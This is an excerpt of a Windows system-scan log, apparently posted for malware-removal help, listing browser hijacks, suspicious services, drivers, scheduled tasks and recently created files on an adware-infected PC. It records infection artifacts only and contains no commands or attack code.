SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2542C02A-3967-4CFE-8EEC-990CFD9D94E4} URL = hxxp://www.novinky.cz/hledej?w={searchTerms}&s ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {3561EA69-50EB-4855-BB78-E72E93193330} URL = hxxp://www.google.com/custom?client=pub-379428 ... earchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {46B57E5F-2706-4863-8F63-8D5FE7A0759F} URL = hxxp://www.zbozi.cz/?q={searchTerms}&r=campmoz ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {8A5604A0-BBA9-47FE-8797-3BBD3C8EAEFB} URL = hxxp://slovnik.seznam.cz/?q={searchTerms}&lang=en_cz&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_uid=8423644100354278&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A53725A9-A238-48C1-9C72-A061C266ED13} URL = hxxp://slovnik.seznam.cz/?q={searchTerms}&lang=cz_en&sourceid=QuickSearch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {B5BB941C-AAE1-41D4-8DB6-E622A0C3BA88} URL = hxxp://www.mapy.cz/?query={searchTerms}&source ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {B94AF99D-D3FC-426D-8731-18FF6561EC08} URL = hxxp://www.firmy.cz/?q={searchTerms}&sourceid= ... arch_13415
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {E528EADF-38EC-40af-BBCF-5F15AABA9928} URL = hxxp://uk.search.yahoo.com/search?p={searchTerms}&fr=chr-devicevm&type=IEBD
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {E561C76C-DDED-4690-BAEF-A364A43D2940} URL = hxxp://tv.seznam.cz/hledej?w={searchTerms}&sourceid=QuickSearch_13415
BHO: No Name -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> No File
BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll => No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
BHO-x32: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Program Files (x86)\Spybot - Search & Destroy\SDHelper.dll [2009-01-26] (Safer Networking Limited)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\ssv.dll [2015-07-19] (Oracle Corporation)
BHO-x32: Pomocná služba pro přihlášení k účtu Microsoft -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\jp2ssv.dll [2015-07-19] (Oracle Corporation)
Toolbar: HKU\.DEFAULT -> No Name - {88C7F2AA-F93F-432C-8F0E-B7D85967A527} - No File
DPF: HKLM {233C1507-6A77-46A4-9443-F871F945D258} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B} hxxp://appldnld.apple.com.edgesuite.net/content.info.apple.com/QuickTime/qtactivex/qtplugin.cab
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258}
DPF: HKLM-x32 {4BFD075D-C36E-4F28-BB0A-5D472795197A} hxxp://download05.managerzone.com/soccer-3d/PowerLoader.cab
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0024-ABCDEFFEDCBA}
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0030-ABCDEFFEDCBA}
DPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll [2017-04-05] (Skype Technologies)
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&ts=14957 ... 1837918379
FireFox:
========
FF ProfilePath: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_dtid=TCH001&apn_ptnrs=AG1&apn_uid=8423644100354278&o=APN11459&q=
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_26_0_0_131.dll [2017-06-16] ()
FF Plugin: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelogx64.dll [2015-04-30] (EA Digital Illusions CE AB)
FF Plugin: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll [2016-04-07] (Adobe Systems)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_26_0_0_131.dll [2017-06-16] ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1202122.dll [2013-04-03] (Adobe Systems, Inc.)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll [2014-02-18] ()
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll [No File]
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelog.dll [2015-04-30] (EA Digital Illusions CE AB)
FF Plugin-x32: @java.com/DTPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\dtplugin\npDeployJava1.dll [2015-07-19] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\plugin2\npjp2.dll [2015-07-19] (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2014-07-11] (Pando Networks)
FF Plugin-x32: @real.com/nprpjplug;version=6.0.12.1483 -> C:\Program Files (x86)\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll [2006-01-28] (RealNetworks, Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-07] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-07] (Google Inc.)
FF Plugin-x32: @unity3d.com/UnityPlayer,version=1.0 -> C:\Program Files (x86)\Unity\WebPlayer\loader\npUnity3D32.dll [2016-05-28] (Unity Technologies ApS)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2017-03-28] (Adobe Systems Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll [2016-04-07] (Adobe Systems)
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll [No File]
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2014-07-11] (Pando Networks)
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\The Settlers 7 - Paths to a Kingdom\Data\Base\_Dbg\Bin\Release\orbit\npuplaypc.dll [2013-02-26] (Ubisoft)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll [2014-08-05] (Adobe Systems Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpjplug.dll [2006-01-28] (RealNetworks, Inc.)
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\findit.xml [2017-06-29]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\hhkup77i.xml [2017-03-16]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\luck.xml [2017-03-16]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\ourluckysites.xml [2017-04-01]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\startpageing123.xml [2017-03-31]
FF SearchPlugin: C:\Program Files (x86)\mozilla firefox\browser\searchplugins\findit.xml [2017-06-29]
FF Extension: Flash Video Downloader - YouTube HD Download [4K] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\artur.dubovoy@gmail.com [2016-05-28]
FF Extension: xRocket Toolbar - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com [2017-03-16] [not signed]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\amcontextmenu@loucypher [2017-06-29] [not signed]
FF Extension: Video Downloader Professional - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\ffext_basicvideoext@startpage24.xpi [2016-05-10]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{88c7f2aa-f93f-432c-8f0e-b7d85967a527}-trash [2011-05-01] [not signed]
FF Extension: SoundCloud Downloader - Technowise - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{c8d3bc80-0810-4d21-a2c2-be5f2b2832ac}.xpi [2015-12-27]
FF Extension: Skype Click to Call - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2014-07-14] [not signed]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu => not found
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext => not found
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff => not found
FF HKLM-x32\...\Firefox\Extensions: [arthurj8283@gmail.com] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
Chrome:
=======
CHR Profile: C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Dokumenty Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-04-22]
CHR Extension: (Disk Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-12-27]
CHR Extension: (YouTube) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-12-27]
CHR Extension: (Vyhledávání Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-12-27]
CHR Extension: (DP1815) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjllbogbaogimpilgdginhalhhbmhiob [2014-08-09]
CHR Extension: (Tables) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fngmhnnpilhplaeedifhccceomclgfbg [2017-06-29]
CHR Extension: (Dokumenty Google offline) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]
CHR Extension: (Platby Internetového obchodu Chrome) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-03-09]
CHR Extension: (Gmail) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-03-28]
CHR Extension: (Chrome Media Router) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-02-08]
CHR HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [fcfenmboojpjinhpgggodefccipikbpd] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [cgbealecnakbhfoeeipcnoboempfkbjd] - C:\Program Files (x86)\AmiExt\flashEnhancer\ch\flashEnhancer.crx <not found>
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=14957 ... 1837918379
==================== Services (Whitelisted) ========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R2 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [694464 2016-04-07] (Adobe Systems Incorporated)
R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
R2 AMD FUEL Service; C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe [344064 2015-07-15] (Advanced Micro Devices, Inc.) [File not signed]
R2 AppmallosayoV; C:\ProgramData\\AppmallosayoV\\AppmallosayoV.exe [2465280 2017-06-29] (TODO: <Company name>) [File not signed]
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [1536520 2017-06-24] ()
S2 ES lite Service; C:\Program Files (x86)\Gigabyte\EasySaver\ESSVR.EXE [68136 2009-08-24] ()
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-04] (Macrovision Corporation) [File not signed]
R2 LightScribeService; C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe [73728 2010-08-16] (Hewlett-Packard Company) [File not signed]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes) [File not signed]
R2 MsMpSvc; C:\Program Files\Microsoft Security Client\MsMpEng.exe [119864 2016-11-14] (Microsoft Corporation)
R2 MSSQL$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe [7520337 2002-12-17] (Microsoft Corporation) [File not signed]
S3 MSSQLServerADHelper; C:\Program Files (x86)\Microsoft SQL Server\80\Tools\Binn\sqladhlp.exe [66112 2002-12-17] (Microsoft Corporation) [File not signed]
S3 NisSrv; C:\Program Files\Microsoft Security Client\NisSrv.exe [361816 2016-11-14] (Microsoft Corporation)
R2 NMSAccessU; C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe [71096 2009-11-12] ()
S3 Origin Client Service; C:\Program Files (x86)\Origin\OriginClientService.exe [2120712 2016-05-10] (Electronic Arts)
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [76152 2016-05-10] ()
R2 SBSDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe [1153368 2009-01-26] (Safer Networking Ltd.)
S3 SQLAgent$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlagent.EXE [311872 2002-12-17] (Microsoft Corporation) [File not signed]
S3 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)
S2 Windows; C:\Windows\SysWOW64\svchost.exe [20992 2009-07-14] (Microsoft Corporation)
S3 digiSPTIService64; "C:\Program Files\Avid\Pro Tools\digisptiservice64.exe" [X]
S2 PlaysService; "C:\Program Files (x86)\Raptr Inc\PlaysTV\plays_service.exe" [X]
S2 swpsvr; C:\ProgramData\Microsoft\Windows\system\appidsvr.dll [X]
S2 WindowsAppSvc; C:\ProgramData\Microsoft\Apps\common\helper.dll [X]
===================== Drivers (Whitelisted) ==========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R0 amdkmpfd; C:\Windows\System32\DRIVERS\amdkmpfd.sys [62152 2014-10-28] (Advanced Micro Devices, Inc.)
R2 AODDriver4.3; C:\Program Files\AMD\ATI.ACE\Fuel\amd64\AODDriver2.sys [59616 2014-02-11] (Advanced Micro Devices)
S1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [45856 2013-05-20] () [File not signed]
S3 BRDriver64; C:\ProgramData\BitRaider\BRDriver64.sys [75048 2014-03-23] (BitRaider)
R1 cfidsk; C:\Windows\System32\drivers\cfidsk.sys [196520 2017-06-20] ()
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2017-03-16] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\DRIVERS\dtliteusbbus.sys [47672 2017-03-16] (Disc Soft Ltd)
S3 ebdrv; C:\Windows\system32\DRIVERS\evbda.sys [3286016 2009-06-10] (Broadcom Corporation)
S3 huawei_wwanecm; C:\Windows\System32\DRIVERS\ew_juwwanecm.sys [213504 2011-07-12] (Huawei Technologies Co., Ltd.)
S3 igfx; C:\Windows\System32\DRIVERS\igdkmd64.sys [6112672 2009-06-16] (Intel Corporation) [File not signed]
S3 irsir; C:\Windows\System32\DRIVERS\irsir.sys [27648 2008-01-19] (Microsoft Corporation)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [251832 2017-07-03] (Malwarebytes)
S3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [82720 2017-05-23] (Malwarebytes) [File not signed]
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [295000 2016-08-25] (Microsoft Corporation)
R1 MpKsl4f7c0b98; c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{94EDC583-B655-4337-B345-B7C89A7EC800}\MpKsl4f7c0b98.sys [44928 2017-07-03] (Microsoft Corporation)
S3 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [135928 2016-08-25] (Microsoft Corporation)
S0 prohlp02; C:\Windows\SysWOW64\drivers\prohlp02.sys [111808 2004-05-13] (Protection Technology) [File not signed]
S0 prosync1; C:\Windows\SysWOW64\drivers\prosync1.sys [6944 2003-09-06] (Protection Technology) [File not signed]
R0 PxHlpa64; C:\Windows\System32\Drivers\PxHlpa64.sys [56336 2012-06-22] (Corel Corporation)
S0 sfhlp01; C:\Windows\SysWOW64\drivers\sfhlp01.sys [4832 2003-12-01] (Protection Technology) [File not signed]
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-03-16] (Duplex Secure Ltd.)
S3 StarOpen; C:\Windows\System32\Drivers\StarOpen.sys [5504 2009-11-12] ()
S3 StarOpen; C:\Windows\SysWow64\Drivers\StarOpen.sys [7168 2009-11-12] () [File not signed]
S3 XSplit_Dummy; C:\Windows\System32\drivers\xspltspk.sys [26200 2014-07-02] (SplitmediaLabs Limited)
R3 YMIDUSBW; C:\Windows\System32\drivers\ymidusbx64.sys [51496 2013-04-04] (Yamaha Corporation)
S2 AODDriver4.01; \??\C:\Program Files\ATI Technologies\ATI.ACE\Fuel\amd64\AODDriver2.sys [X]
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S3 cpuz132; \??\C:\Users\Uzivatel\AppData\Local\Temp\cpuz132\cpuz132_x64.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
S3 gdrv; \??\C:\Windows\gdrv.sys [X]
U2 glory; no ImagePath
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare; no ImagePath
S3 WinRing0_1_2_0; \??\C:\Program Files (x86)\Razer\Razer Game Booster\Driver\WinRing0x64.sys [X]
==================== NetSvcs (Whitelisted) ===================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
==================== One Month Created files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2017-07-03 21:30 - 2017-07-03 21:31 - 00000003 ____H C:\ProgramData\cm-lock
2017-07-03 10:05 - 2017-07-03 10:05 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (2).exe
2017-07-02 12:36 - 2017-07-02 12:36 - 01130328 _____ (Google Inc.) C:\Users\Uzivatel\Downloads\ChromeSetup (1).exe
2017-07-02 12:34 - 2017-07-02 12:34 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047(1).exe
2017-07-02 12:24 - 2017-07-02 12:24 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (1).exe
2017-07-02 12:20 - 2017-07-02 12:20 - 04110280 _____ C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 14:52 - 2017-07-01 23:02 - 00001042 _____ C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-29 19:09 - 2017-07-03 10:50 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D C:\Program Files\I59ZA8EZ7K
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 16:32 - 2017-06-29 16:33 - 00000000 ____D C:\ProgramData\AppmallosayoVs
2017-06-29 16:30 - 2017-07-01 10:54 - 00000000 ____D C:\ProgramData\AppmallosayoV
2017-06-29 16:20 - 2017-07-03 10:50 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D C:\Program Files\G05HC4PZV0
2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:12 - 2017-06-29 18:43 - 00003164 _____ C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 16:10 - 2017-07-03 23:07 - 00016682 _____ C:\Windows\System32\Tasks\eStark
2017-06-29 16:09 - 2017-06-29 17:38 - 00000000 ____D C:\Program Files (x86)\UCBrowser
2017-06-29 16:08 - 2017-07-03 10:49 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-07-03 10:48 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-06-29 16:07 - 2017-07-01 22:16 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-06-29 16:07 - 2017-06-30 15:19 - 00000000 ____D C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 16:07 - 2017-06-29 16:24 - 00000270 __RSH C:\ProgramData\ntuser.pol
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Program Files\4SYXRXP5F6
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, hxxp://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ C:\Windows\libcurl-4.dll
